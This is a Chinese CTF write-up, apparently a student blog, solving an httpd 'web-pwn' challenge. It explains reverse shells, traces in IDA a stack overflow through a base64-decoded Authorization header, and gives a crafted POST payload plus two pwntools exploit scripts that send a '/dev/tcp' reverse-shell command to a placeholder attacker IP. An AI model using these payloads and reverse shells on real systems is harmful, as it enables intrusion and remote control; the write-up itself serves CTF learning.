• 终于把学长出的httpd的pwn给打出来了,也算是浅浅入门了一下web-pwn了
  • httpd的pwn其实和pwn没啥区别,但是多了一步web。
    • getshell后,可以执行命令,但是执行命令的结果不会发送过来,这个时候就要进行反弹shell
    • 反弹shell就是利用能执行命令,然后将控制权交给攻击者的服务器,这时执行命令的时候就可以看到相应的结果。
  • httpd的pwn知识web-pwn的一种,web-pwn还有php-pwn

前置知识

  • 需要一定的pwn基础
  • 需要一定的Linux网络编程基础(没有的话也没关系,多牢牢也就会看明白代码)
  • 需要懂一点http协议
  • 反弹shell命令(网上搜索都有现成的)

反弹shell

  • 什么是反弹shell,一般pwn都是我们攻击者去连接目标主机,而反弹shell是目标主机主动去连接攻击者的主机,并将执行权限给攻击者
  • 反弹shell的前提:需要一个具有公网ip的服务器(IPv4)
  • 在一般的情况下,pwn了目标主机,直接就getshell了,这时我们就可以直接cat flag目标主机就会将flag的内容发送给我们,但是在需要反弹shell的情况,当我们getshell之后,我们可以对目标主机执行命令,但是接收不到目标执行完命令后的内容。这就导致我们无法得到flag的内容,这时就是要反弹shell
  • 反弹shell有几个办法

反弹shell1

  • 需要一个具有公网ip的服务器,假设其ip为1.1.1.1
  • 我们先指定开放该服务器的端口2333,输入指令为nc -lvp 2333 nc -n -lvp 2333
  • 然后我们getshell了目标靶机,这时我们就执行命令bash -i >& /dev/tcp/1.1.1.1/2333 0>&1
  • 这样目标靶机就连接上了我们的服务器,并且在我们服务器这边具有执行目标靶机目录的权限,也可以看到执行后的结果,这时我们就可以得到flag
image-20240925182507092

题目

httpd_level_1

image-20240925162120040

  • 查看一下保护,发现保护全开

image-20240925162036762

分析1

  • 使用IDA反编译一下该程序,这里先理清一下程序逻辑
1
2
3
4
5
6
7
8
9
程序先从main函数开始
--->调用startup函数,启动服务器(用于初始化网络服务或客户端)
--->调用accept函数,用来接受一个连接请求(这里会接收一些http协议的内容)
--->调用accept_request,将处理接受到的http协议的内容
# startup函数就是启动端口,如果熟悉网络编程就很好理解过程(这里不多说)
# accept也不多说
# pthread_create()这个函数其实是创建一个线程的函数
# 创建一个线程后,这个线程会执行第三个参数所指向的函数(这个参数其实是一个函数指针类型)
# 具体来分析accept_request这个函数
image-20240925162422115
  • 进入到accept_request函数进行分析,都是http请求协议的处理
    • 该协议会先处理GET、POST参数,参数正确则会将一下web页面等从服务器发送到客户端中
    • 这里还会处理一些其他传入的参数,如果传入不是GETPOST参数,就会发送错误答复,比如HTTP/1.0 404 NOT FOUND
1
2
3
4
5
6
7
8
HTTP/1.0 404 NOT FOUND\r\n
Server: jdbhttpd/0.1.0\r\n
Content-Type: text/html\r\n
<HTML><TITLE>Not Found</TITLE>\r\n
<BODY><P>The server could not fulfill\r\n
your request because the resource specified\r\n
is unavailable or nonexistent.\r\n
</BODY></HTML>\r\n
image-20240925164210575
  • accept_request函数中满足条件还会调用一个函数execute_cgi函数,这是本题的一个重要函数,其他的就不分析了。
    • http请求头协议处理完之后就会接着处理协议下一行的内容
    • 处理完,如果请求头无误,那么程序就会发送http协议回复客户端
1
HTTP/1.0 200 OK\r\n
image-20240925164900983 image-20240925164147381

分析2

  • 分析1分析的是httpd这个程序中服务器与客户端的交互逻辑,现在进行漏洞的寻找
  • 先找到这个函数,这个execl函数是execve函数的更高一级的封装,所以可以执行命令,我们就有机会getshell

image-20240925165312032

  • 然后我们往回看,查看程序逻辑,程序如何才能走到这个函数,发现要么满足POST参数,要么满足GET参数。可满足GET参数后,直接运行到execl(dest, dest, 0LL);我们并不能修改命令。
image-20240925165629578
  • 但是满足POST参数后再满足后续协议,这边就会存在一个缓冲区的溢出
    • 先要满足Authorization: Basic协议,然后再对v21的内容进行base64解码,将结果存储在v18
    • 程序先会检查v18这个字符串是否等于pwner
    • 接下来查看栈发现v18在栈位置-0000000000000B10 var_B10 db ?
    • dest在栈位置-0000000000000A10 dest db ?
    • v18dest的位置相差0x100小于v21能存储的字符串长度,这样就可以发生溢出
    • 这样可以修改dest的值,进而getshell

image-20240925165921909

image-20240925170114920

利用

  • 这时我们就可以构造payload,而程序对v18检查是否为pwner可以使用\x00来进行截断
  • 这时我们就构造这个payload协议为,这里注意好像是要请求/rule.cgi文件才会执行execute_cgi(a1, s, s1, j);
1
2
3
4
5
6
POST /rule.cgi HTTP/1.1
Content-Length: 500
Authorization: Basic cHduZXIAYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYS9iaW4vYmFzaAA=

# 后面这么一长串的base编码就是构造缓冲区溢出的payload,解码之后为
# b'pwner\x00' + b'a'*(0xB10 - 0xA10 - 6) + b'/bin/bash\x00'
  • exp:
  • 注意:
    • 在写exp的时候每一行http请求协议的结束都要加上\r\n,要不然靶机接收的会有问题,具体原因是socket那边
    • 还有就是在getshell后,不要在终端输入反弹shell的命令,这样终端会一个字节一个字节的发送,会出现命令执行不了的情况
    • 最好使用pwntools的send,发送命令执行的函数,这样就可以一次性发送内容,这可能也和发送包有关
    • 这里执行命令,就是执行反弹shell的命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
import time
import base64


context(log_level='debug')
#p = process('./attachment')
p = remote('node6.anna.nssctf.cn',20646)
payload2 = b'pwner\x00' + b'a'*(0xB10 - 0xA10 - 6) + b'/bin/bash\x00\r'
print(payload2)
payload = b'''POST /rule.cgi HTTP/1.1\r\nContent-Length: 500\r\nAuthorization: Basic '''
payload += base64.b64encode(payload2)
payload += b'\n'

p.sendline(payload)
print(payload.decode('utf-8'))
#sleep(1)
p.sendlineafter(b'HTTP/1.0 200 OK\r\n',b'sh -i >& /dev/tcp/xx.xx.xx.xx/2333 0>&1')
#sleep(1)
p.interactive()
  • 下面这个exp是一位学长写的,可能我对http包还不太熟悉,所以payload可能还有点问题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from base64 import *

context.log_level = 'debug'
io = remote('node6.anna.nssctf.cn', 20646)

s = 'pwner\x00' + 'a'*250 +'/bin/bash\x00'
s = b64encode(s.encode('utf-8')).decode()
print(len(s))
#body = "bash -i >& /dev/tcp/xx.xx.xx.xx/2333 0>&1\n\r"
payload = 'POST /rule.cgi\r\n'
payload += 'Content-Length: 500\r\n'#.format(len(body))
payload += 'Authorization: Basic '+ s +'\r\n\n'
#payload += body
payload = payload.encode('utf-8')
io.sendline(payload)

io.interactive()